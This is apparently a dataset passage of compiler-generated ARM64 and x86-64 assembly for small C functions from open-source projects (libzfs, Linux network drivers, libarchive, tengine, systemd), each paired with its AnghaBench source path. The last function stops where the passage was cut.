.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function libzfs_mnttab_cache_compare _libzfs_mnttab_cache_compare: ## @libzfs_mnttab_cache_compare .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movq %rax, -24(%rbp) movq -16(%rbp), %rax movq %rax, -32(%rbp) movq -24(%rbp), %rax movl (%rax), %edi movq -32(%rbp), %rax movl (%rax), %esi callq _strcmp movl %eax, -36(%rbp) movl -36(%rbp), %edi callq _AVL_ISIGN addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _libzfs_mnttab_cache_compare .subsections_via_symbols
AnghaBench/freebsd/cddl/contrib/opensolaris/lib/libzfs/common/extr_libzfs_dataset.c_libzfs_mnttab_cache_compare.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function netdev_tx_timeout _netdev_tx_timeout: ; @netdev_tx_timeout .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x0, [x29, #-8] bl _netdev_priv stur x0, [x29, #-16] ldur x8, [x29, #-16] ldr x8, [x8] str x8, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #16] ldr x8, [sp, #16] ldr w8, [x8] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_4 b LBB0_1 LBB0_1: adrp x8, _jiffies@GOTPAGE ldr x8, [x8, _jiffies@GOTPAGEOFF] ldr x0, [x8] adrp x8, _netdev_tx_timeout.last_reset@PAGE ldr x8, [x8, _netdev_tx_timeout.last_reset@PAGEOFF] ldur x9, [x29, #-8] ldr x9, [x9] add x1, x8, x9 bl _time_before_eq subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; kill: def $x8 killed $xzr str xzr, [sp, #24] b LBB0_3 LBB0_3: b LBB0_4 LBB0_4: adrp x8, _jiffies@GOTPAGE ldr x8, [x8, _jiffies@GOTPAGEOFF] ldr x8, [x8] adrp x9, _netdev_tx_timeout.last_reset@PAGE str x8, [x9, _netdev_tx_timeout.last_reset@PAGEOFF] ldr x8, [sp, #24] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_19 b LBB0_5 LBB0_5: ldr x0, [sp, #16] bl _hw_dis_intr ldr x0, [sp, #16] bl _hw_disable ldr x0, [sp, #24] mov w1, #0 bl _transmit_cleanup ldr x8, [sp, #16] add x0, x8, #32 bl _hw_reset_pkts ldr x8, [sp, #16] add x0, x8, #36 bl _hw_reset_pkts ldr x0, [sp, #24] bl _ksz_init_rx_buffers ldr x0, [sp, #16] bl _hw_reset ldr x0, [sp, #16] ldr x8, [sp, #16] ldr w1, [x8, #36] ldr x8, [sp, #16] ldr w2, [x8, #32] bl _hw_set_desc_base ldr x0, [sp, #16] bl _hw_set_addr ldr x8, [sp, #16] ldr x8, [x8, #24] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ldr x0, [sp, #16] ldr x8, [sp, #16] ldr x1, [x8, #24] bl _hw_set_multicast b LBB0_10 LBB0_7: ldr x8, [sp, #16] ldr x8, [x8, #16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ldr x0, [sp, #16] bl _hw_set_grp_addr b LBB0_9 LBB0_9: b LBB0_10 LBB0_10: ldr x8, [sp, #16] ldr w8, [x8] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB0_18 b LBB0_11 LBB0_11: ldr x0, [sp, #16] bl _hw_set_add_addr str wzr, [sp, #12] b LBB0_12 LBB0_12: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #12] adrp x9, _SWITCH_PORT_NUM@GOTPAGE ldr x9, [x9, _SWITCH_PORT_NUM@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_17 b LBB0_13 LBB0_13: ; in Loop: Header=BB0_12 Depth=1 ldr x0, [sp, #16] ldr w1, [sp, #12] adrp x8, _STP_STATE_DISABLED@GOTPAGE ldr x8, [x8, _STP_STATE_DISABLED@GOTPAGEOFF] ldr w2, [x8] bl _port_set_stp_state ldr x8, [sp, #16] ldr x8, [x8, #8] ldrsw x9, [sp, #12] ldr x8, [x8, x9, lsl #3] str x8, [sp] ldr x0, [sp] bl _netif_running subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_15 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_12 Depth=1 ldr x0, [sp, #16] ldr w1, [sp, #12] adrp x8, _STP_STATE_SIMPLE@GOTPAGE ldr x8, [x8, _STP_STATE_SIMPLE@GOTPAGEOFF] ldr w2, [x8] bl _port_set_stp_state b LBB0_15 LBB0_15: ; in Loop: Header=BB0_12 Depth=1 b LBB0_16 LBB0_16: ; in Loop: Header=BB0_12 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB0_12 LBB0_17: b LBB0_18 LBB0_18: ldr x0, [sp, #16] bl _hw_enable ldr x0, [sp, #16] bl _hw_ena_intr b LBB0_19 LBB0_19: ldur x0, [x29, #-8] bl _netif_trans_update ldur x0, [x29, #-8] bl _netif_wake_queue ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .zerofill __DATA,__bss,_netdev_tx_timeout.last_reset,8,3 ; @netdev_tx_timeout.last_reset .comm _jiffies,8,3 ; @jiffies .comm _SWITCH_PORT_NUM,4,2 ; @SWITCH_PORT_NUM .comm _STP_STATE_DISABLED,4,2 ; @STP_STATE_DISABLED .comm _STP_STATE_SIMPLE,4,2 ; @STP_STATE_SIMPLE .no_dead_strip _netdev_tx_timeout .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function netdev_tx_timeout _netdev_tx_timeout: ## @netdev_tx_timeout .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _netdev_priv movq %rax, -16(%rbp) movq -16(%rbp), %rax movq (%rax), %rax movq %rax, -24(%rbp) movq -24(%rbp), %rax movq %rax, -32(%rbp) movq -32(%rbp), %rax cmpl $1, (%rax) jle LBB0_4 ## %bb.1: movq _jiffies@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _netdev_tx_timeout.last_reset(%rip), %rsi movq -8(%rbp), %rax addq (%rax), %rsi callq _time_before_eq cmpq $0, %rax je LBB0_3 ## %bb.2: movq $0, -24(%rbp) LBB0_3: jmp LBB0_4 LBB0_4: movq _jiffies@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, _netdev_tx_timeout.last_reset(%rip) cmpq $0, -24(%rbp) je LBB0_19 ## %bb.5: movq -32(%rbp), %rdi callq _hw_dis_intr movq -32(%rbp), %rdi callq _hw_disable movq -24(%rbp), %rdi xorl %esi, %esi callq _transmit_cleanup movq -32(%rbp), %rdi addq $32, %rdi callq _hw_reset_pkts movq -32(%rbp), %rdi addq $36, %rdi callq _hw_reset_pkts movq -24(%rbp), %rdi callq _ksz_init_rx_buffers movq -32(%rbp), %rdi callq _hw_reset movq -32(%rbp), %rdi movq -32(%rbp), %rax movl 36(%rax), %esi movq -32(%rbp), %rax movl 32(%rax), %edx callq _hw_set_desc_base movq -32(%rbp), %rdi callq _hw_set_addr movq -32(%rbp), %rax cmpq $0, 24(%rax) je LBB0_7 ## %bb.6: movq -32(%rbp), %rdi movq -32(%rbp), %rax movq 24(%rax), %rsi callq _hw_set_multicast jmp LBB0_10 LBB0_7: movq -32(%rbp), %rax cmpq $0, 16(%rax) je LBB0_9 ## %bb.8: movq -32(%rbp), %rdi callq _hw_set_grp_addr LBB0_9: jmp LBB0_10 LBB0_10: movq -32(%rbp), %rax cmpl $1, (%rax) jle LBB0_18 ## %bb.11: movq -32(%rbp), %rdi callq _hw_set_add_addr movl $0, -36(%rbp) LBB0_12: ## =>This Inner Loop Header: Depth=1 movl -36(%rbp), %eax movq _SWITCH_PORT_NUM@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB0_17 ## %bb.13: ## in Loop: Header=BB0_12 Depth=1 movq -32(%rbp), %rdi movl -36(%rbp), %esi movq _STP_STATE_DISABLED@GOTPCREL(%rip), %rax movl (%rax), %edx callq _port_set_stp_state movq -32(%rbp), %rax movq 8(%rax), %rax movslq -36(%rbp), %rcx movq (%rax,%rcx,8), %rax movq %rax, -48(%rbp) movq -48(%rbp), %rdi callq _netif_running cmpq $0, %rax je LBB0_15 ## %bb.14: ## in Loop: Header=BB0_12 Depth=1 movq -32(%rbp), %rdi movl -36(%rbp), %esi movq _STP_STATE_SIMPLE@GOTPCREL(%rip), %rax movl (%rax), %edx callq _port_set_stp_state LBB0_15: ## in Loop: Header=BB0_12 Depth=1 jmp LBB0_16 LBB0_16: ## in Loop: Header=BB0_12 Depth=1 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB0_12 LBB0_17: jmp LBB0_18 LBB0_18: movq -32(%rbp), %rdi callq _hw_enable movq -32(%rbp), %rdi callq _hw_ena_intr LBB0_19: movq -8(%rbp), %rdi callq _netif_trans_update movq -8(%rbp), %rdi callq _netif_wake_queue addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .zerofill __DATA,__bss,_netdev_tx_timeout.last_reset,8,3 ## @netdev_tx_timeout.last_reset .comm _jiffies,8,3 ## @jiffies .comm _SWITCH_PORT_NUM,4,2 ## @SWITCH_PORT_NUM .comm _STP_STATE_DISABLED,4,2 ## @STP_STATE_DISABLED .comm _STP_STATE_SIMPLE,4,2 ## @STP_STATE_SIMPLE .no_dead_strip _netdev_tx_timeout .subsections_via_symbols
AnghaBench/linux/drivers/net/ethernet/micrel/extr_ksz884x.c_netdev_tx_timeout.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function mwifiex_change_vif_to_ap _mwifiex_change_vif_to_ap: ; @mwifiex_change_vif_to_ap .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur w1, [x29, #-20] stur w2, [x29, #-24] str x3, [sp, #32] ldur x0, [x29, #-16] bl _mwifiex_netdev_get_priv str x0, [sp, #24] ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: mov w8, #-1 stur w8, [x29, #-4] b LBB0_19 LBB0_2: ldr x8, [sp, #24] ldr x8, [x8] str x8, [sp, #16] ldr x8, [sp, #16] ldr x8, [x8] ldr x9, [sp, #16] ldr x9, [x9, #16] subs x8, x8, x9 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x0, [sp, #16] adrp x8, _ERROR@GOTPAGE ldr x8, [x8, _ERROR@GOTPAGEOFF] ldr w1, [x8] adrp x2, l_.str@PAGE add x2, x2, l_.str@PAGEOFF bl _mwifiex_dbg mov w8, #-1 stur w8, [x29, #-4] b LBB0_19 LBB0_4: ldr x0, [sp, #16] adrp x8, _INFO@GOTPAGE ldr x8, [x8, _INFO@GOTPAGEOFF] ldr w1, [x8] ldur x8, [x29, #-16] ldr w9, [x8, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x2, l_.str.1@PAGE add x2, x2, l_.str.1@PAGEOFF bl _mwifiex_dbg ldr x0, [sp, #24] bl _mwifiex_deinit_priv_params subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: mov w8, #-1 stur w8, [x29, #-4] b LBB0_19 LBB0_6: ldr x0, [sp, #24] ldur x1, [x29, #-16] ldur w2, [x29, #-24] bl _mwifiex_init_new_priv_params subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: mov w8, #-1 stur w8, [x29, #-4] b LBB0_19 LBB0_8: ldr x0, [sp, #24] adrp x8, _HostCmd_CMD_SET_BSS_MODE@GOTPAGE ldr x8, [x8, _HostCmd_CMD_SET_BSS_MODE@GOTPAGEOFF] ldr w1, [x8] adrp x8, _HostCmd_ACT_GEN_SET@GOTPAGE ldr x8, [x8, _HostCmd_ACT_GEN_SET@GOTPAGEOFF] ldr w2, [x8] mov w3, #0 mov x4, #0 mov w5, #1 bl _mwifiex_send_cmd subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: mov w8, #-1 stur w8, [x29, #-4] b LBB0_19 LBB0_10: ldr x0, [sp, #24] mov w2, #0 mov x1, x2 bl _mwifiex_sta_init_cmd subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: mov w8, #-1 stur w8, [x29, #-4] b LBB0_19 LBB0_12: ldur w8, [x29, #-20] str w8, [sp, #12] ; 4-byte Folded Spill subs w8, w8, #128 cset w8, eq tbnz w8, #0, LBB0_16 b LBB0_13 LBB0_13: ldr w8, [sp, #12] ; 4-byte Folded Reload subs w8, w8, #129 subs w8, w8, #1 cset w8, ls tbnz w8, #0, LBB0_15 b LBB0_14 LBB0_14: ldr w8, [sp, #12] ; 4-byte Folded Reload subs w8, w8, #131 cset w8, eq tbnz w8, #0, LBB0_16 b LBB0_17 LBB0_15: ldr x9, [sp, #16] ldr w8, [x9, #12] subs w8, w8, #1 str w8, [x9, #12] b LBB0_18 LBB0_16: ldr x9, [sp, #16] ldr w8, [x9, #8] subs w8, w8, #1 str w8, [x9, #8] b LBB0_18 LBB0_17: b LBB0_18 LBB0_18: ldr x9, [sp, #16] ldr x8, [x9] add x8, x8, #1 str x8, [x9] ldur w8, [x29, #-24] ldur x9, [x29, #-16] ldr x9, [x9] str w8, [x9] stur wzr, [x29, #-4] b LBB0_19 LBB0_19: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _ERROR,4,2 ; @ERROR .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "cannot create multiple AP ifaces\n" .comm _INFO,4,2 ; @INFO l_.str.1: ; @.str.1 .asciz "%s: changing role to AP\n" .comm _HostCmd_CMD_SET_BSS_MODE,4,2 ; @HostCmd_CMD_SET_BSS_MODE .comm _HostCmd_ACT_GEN_SET,4,2 ; @HostCmd_ACT_GEN_SET .no_dead_strip _mwifiex_change_vif_to_ap .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function mwifiex_change_vif_to_ap _mwifiex_change_vif_to_ap: ## @mwifiex_change_vif_to_ap .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -16(%rbp) movl %esi, -20(%rbp) movl %edx, -24(%rbp) movq %rcx, -32(%rbp) movq -16(%rbp), %rdi callq _mwifiex_netdev_get_priv movq %rax, -40(%rbp) cmpq $0, -40(%rbp) jne LBB0_2 ## %bb.1: movl $-1, -4(%rbp) jmp LBB0_17 LBB0_2: movq -40(%rbp), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq -48(%rbp), %rax movq (%rax), %rax movq -48(%rbp), %rcx cmpq 16(%rcx), %rax jne LBB0_4 ## %bb.3: movq -48(%rbp), %rdi movq _ERROR@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str(%rip), %rdx movb $0, %al callq _mwifiex_dbg movl $-1, -4(%rbp) jmp LBB0_17 LBB0_4: movq -48(%rbp), %rdi movq _INFO@GOTPCREL(%rip), %rax movl (%rax), %esi movq -16(%rbp), %rax movl 8(%rax), %ecx leaq L_.str.1(%rip), %rdx movb $0, %al callq _mwifiex_dbg movq -40(%rbp), %rdi callq _mwifiex_deinit_priv_params cmpq $0, %rax je LBB0_6 ## %bb.5: movl $-1, -4(%rbp) jmp LBB0_17 LBB0_6: movq -40(%rbp), %rdi movq -16(%rbp), %rsi movl -24(%rbp), %edx callq _mwifiex_init_new_priv_params cmpq $0, %rax je LBB0_8 ## %bb.7: movl $-1, -4(%rbp) jmp LBB0_17 LBB0_8: movq -40(%rbp), %rdi movq _HostCmd_CMD_SET_BSS_MODE@GOTPCREL(%rip), %rax movl (%rax), %esi movq _HostCmd_ACT_GEN_SET@GOTPCREL(%rip), %rax movl (%rax), %edx xorl %ecx, %ecx xorl %eax, %eax movl %eax, %r8d movl $1, %r9d callq _mwifiex_send_cmd cmpq $0, %rax je LBB0_10 ## %bb.9: movl $-1, -4(%rbp) jmp LBB0_17 LBB0_10: movq -40(%rbp), %rdi xorl %edx, %edx movl %edx, %esi callq _mwifiex_sta_init_cmd cmpq $0, %rax je LBB0_12 ## %bb.11: movl $-1, -4(%rbp) jmp LBB0_17 LBB0_12: movl -20(%rbp), %eax movl %eax, -52(%rbp) ## 4-byte Spill subl $128, %eax je LBB0_14 jmp LBB0_18 LBB0_18: movl -52(%rbp), %eax ## 4-byte Reload addl $-129, %eax subl $2, %eax jb LBB0_13 jmp LBB0_19 LBB0_19: movl -52(%rbp), %eax ## 4-byte Reload subl $131, %eax je LBB0_14 jmp LBB0_15 LBB0_13: movq -48(%rbp), %rax movl 12(%rax), %ecx addl $-1, %ecx movl %ecx, 12(%rax) jmp LBB0_16 LBB0_14: movq -48(%rbp), %rax movl 8(%rax), %ecx addl $-1, %ecx movl %ecx, 8(%rax) jmp LBB0_16 LBB0_15: jmp LBB0_16 LBB0_16: movq -48(%rbp), %rax movq (%rax), %rcx addq $1, %rcx movq %rcx, (%rax) movl -24(%rbp), %ecx movq -16(%rbp), %rax movq (%rax), %rax movl %ecx, (%rax) movl $0, -4(%rbp) LBB0_17: movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _ERROR,4,2 ## @ERROR .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "cannot create multiple AP ifaces\n" .comm _INFO,4,2 ## @INFO L_.str.1: ## @.str.1 .asciz "%s: changing role to AP\n" .comm _HostCmd_CMD_SET_BSS_MODE,4,2 ## @HostCmd_CMD_SET_BSS_MODE .comm _HostCmd_ACT_GEN_SET,4,2 ## @HostCmd_ACT_GEN_SET .no_dead_strip _mwifiex_change_vif_to_ap .subsections_via_symbols
AnghaBench/linux/drivers/net/wireless/marvell/mwifiex/extr_cfg80211.c_mwifiex_change_vif_to_ap.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function set_date_time _set_date_time: ; @set_date_time .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov x8, x1 stur x0, [x29, #-8] sub x1, x29, #12 stur w8, [x29, #-12] add x0, sp, #32 str x0, [sp, #16] ; 8-byte Folded Spill bl _get_tmfromtime ldur x0, [x29, #-8] ldr x8, [sp, #72] add x2, x8, #1900 mov w1, #4 bl _set_digit ldur x8, [x29, #-8] ldr x9, [sp, #64] add x2, x9, #1 add x0, x8, #4 mov w1, #2 str w1, [sp, #12] ; 4-byte Folded Spill bl _set_digit ldr w1, [sp, #12] ; 4-byte Folded Reload ldur x8, [x29, #-8] ldr x2, [sp, #56] add x0, x8, #6 bl _set_digit ldr w1, [sp, #12] ; 4-byte Folded Reload ldur x8, [x29, #-8] ldr x2, [sp, #48] add x0, x8, #8 bl _set_digit ldr w1, [sp, #12] ; 4-byte Folded Reload ldur x8, [x29, #-8] ldr x2, [sp, #40] add x0, x8, #10 bl _set_digit ldr w1, [sp, #12] ; 4-byte Folded Reload ldur x8, [x29, #-8] ldr x2, [sp, #32] add x0, x8, #12 bl _set_digit ldr w1, [sp, #12] ; 4-byte Folded Reload ldur x8, [x29, #-8] add x0, x8, #14 mov x2, #0 bl _set_digit ldr x0, [sp, #16] ; 8-byte Folded Reload ldur x8, [x29, #-8] str x8, [sp, #24] ; 8-byte Folded Spill bl _get_gmoffset ldr x9, [sp, #24] ; 8-byte Folded Reload mov w8, #900 sdiv w8, w0, w8 add x0, x9, #16 sxtb w1, w8 bl _set_num_712 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .no_dead_strip _set_date_time .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function set_date_time _set_date_time: ## @set_date_time .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) leaq -64(%rbp), %rdi leaq -12(%rbp), %rsi callq _get_tmfromtime movq -8(%rbp), %rdi movq -24(%rbp), %rdx addq $1900, %rdx ## imm = 0x76C movl $4, %esi callq _set_digit movq -8(%rbp), %rdi addq $4, %rdi movq -32(%rbp), %rdx addq $1, %rdx movl $2, %esi callq _set_digit movq -8(%rbp), %rdi addq $6, %rdi movq -40(%rbp), %rdx movl $2, %esi callq _set_digit movq -8(%rbp), %rdi addq $8, %rdi movq -48(%rbp), %rdx movl $2, %esi callq _set_digit movq -8(%rbp), %rdi addq $10, %rdi movq -56(%rbp), %rdx movl $2, %esi callq _set_digit movq -8(%rbp), %rdi addq $12, %rdi movq -64(%rbp), %rdx movl $2, %esi callq _set_digit movq -8(%rbp), %rdi addq $14, %rdi movl $2, %esi xorl %eax, %eax movl %eax, %edx callq _set_digit movq -8(%rbp), %rax addq $16, %rax movq %rax, -72(%rbp) ## 8-byte Spill leaq -64(%rbp), %rdi callq _get_gmoffset movq -72(%rbp), %rdi ## 8-byte Reload movl $900, %ecx ## imm = 0x384 cltd idivl %ecx ## kill: def $al killed $al killed $eax movsbl %al, %esi callq _set_num_712 addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _set_date_time .subsections_via_symbols
AnghaBench/freebsd/contrib/libarchive/libarchive/extr_archive_write_set_format_iso9660.c_set_date_time.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ngx_stream_script_copy_var_code ; -- Begin function ngx_stream_script_copy_var_code .p2align 2 _ngx_stream_script_copy_var_code: ; @ngx_stream_script_copy_var_code .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x8, [x29, #-8] ldr x8, [x8, #32] str x8, [sp] ldur x9, [x29, #-8] ldr x8, [x9, #32] add x8, x8, #4 str x8, [x9, #32] ldur x8, [x29, #-8] ldr w8, [x8, #24] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_1 LBB0_1: ldur x8, [x29, #-8] ldr x8, [x8, #16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldur x8, [x29, #-8] ldr x0, [x8, #8] ldr x8, [sp] ldr w1, [x8] bl _ngx_stream_get_indexed_variable str x0, [sp, #8] b LBB0_4 LBB0_3: ldur x8, [x29, #-8] ldr x0, [x8, #8] ldr x8, [sp] ldr w1, [x8] bl _ngx_stream_get_flushed_variable str x0, [sp, #8] b LBB0_4 LBB0_4: ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_7 b LBB0_5 LBB0_5: ldr x8, [sp, #8] ldr w8, [x8, #8] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ldur x8, [x29, #-8] ldr x8, [x8] str x8, [sp, #16] ldr x0, [sp, #16] ldr x8, [sp, #8] ldr w1, [x8, #4] ldr x8, [sp, #8] ldr w2, [x8] bl _ngx_copy ldur x8, [x29, #-8] str x0, [x8] adrp x8, _NGX_LOG_DEBUG_STREAM@GOTPAGE ldr x8, [x8, _NGX_LOG_DEBUG_STREAM@GOTPAGEOFF] ldr w0, [x8] ldur x8, [x29, #-8] ldr x8, [x8, #8] ldr x8, [x8] ldr w1, [x8] ldur x8, [x29, #-8] ldr x8, [x8] ldr x9, [sp, #16] subs x8, x8, x9 mov x9, #4 sdiv x8, x8, x9 mov x4, x8 ldr x5, [sp, #16] mov w2, #0 adrp x3, l_.str@PAGE add x3, x3, l_.str@PAGEOFF bl _ngx_log_debug2 b LBB0_7 LBB0_7: b LBB0_8 LBB0_8: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _NGX_LOG_DEBUG_STREAM,4,2 ; @NGX_LOG_DEBUG_STREAM .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "stream script var: \"%*s\"" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ngx_stream_script_copy_var_code ## -- Begin function ngx_stream_script_copy_var_code .p2align 4, 0x90 _ngx_stream_script_copy_var_code: ## @ngx_stream_script_copy_var_code .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq 32(%rax), %rax movq %rax, -32(%rbp) movq -8(%rbp), %rax movq 32(%rax), %rcx addq $4, %rcx movq %rcx, 32(%rax) movq -8(%rbp), %rax cmpl $0, 24(%rax) jne LBB0_8 ## %bb.1: movq -8(%rbp), %rax cmpq $0, 16(%rax) je LBB0_3 ## %bb.2: movq -8(%rbp), %rax movq 8(%rax), %rdi movq -32(%rbp), %rax movl (%rax), %esi callq _ngx_stream_get_indexed_variable movq %rax, -24(%rbp) jmp LBB0_4 LBB0_3: movq -8(%rbp), %rax movq 8(%rax), %rdi movq -32(%rbp), %rax movl (%rax), %esi callq _ngx_stream_get_flushed_variable movq %rax, -24(%rbp) LBB0_4: cmpq $0, -24(%rbp) je LBB0_7 ## %bb.5: movq -24(%rbp), %rax cmpl $0, 8(%rax) jne LBB0_7 ## %bb.6: movq -8(%rbp), %rax movq (%rax), %rax movq %rax, -16(%rbp) movq -16(%rbp), %rdi movq -24(%rbp), %rax movl 4(%rax), %esi movq -24(%rbp), %rax movl (%rax), %edx callq _ngx_copy movq %rax, %rcx movq -8(%rbp), %rax movq %rcx, (%rax) movq _NGX_LOG_DEBUG_STREAM@GOTPCREL(%rip), %rax movl (%rax), %edi movq -8(%rbp), %rax movq 8(%rax), %rax movq (%rax), %rax movl (%rax), %esi movq -8(%rbp), %rax movq (%rax), %rax movq -16(%rbp), %rcx subq %rcx, %rax sarq $2, %rax movl %eax, %r8d movq -16(%rbp), %r9 xorl %edx, %edx leaq L_.str(%rip), %rcx callq _ngx_log_debug2 LBB0_7: jmp LBB0_8 LBB0_8: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _NGX_LOG_DEBUG_STREAM,4,2 ## @NGX_LOG_DEBUG_STREAM .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "stream script var: \"%*s\"" .subsections_via_symbols
AnghaBench/tengine/src/stream/extr_ngx_stream_script.c_ngx_stream_script_copy_var_code.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function set_machine_id _set_machine_id: ; @set_machine_id .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #16] ldr x0, [sp, #16] bl _assert ldr x0, [sp, #16] add x1, sp, #12 bl _sd_id128_from_string subs x8, x0, #0 cset w8, ge tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_5 LBB0_2: ldr w0, [sp, #12] bl _sd_id128_is_null subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_5 LBB0_4: ldr w8, [sp, #12] adrp x9, _arg_machine_id@GOTPAGE ldr x9, [x9, _arg_machine_id@GOTPAGEOFF] str w8, [x9] stur wzr, [x29, #-4] b LBB0_5 LBB0_5: ldur w0, 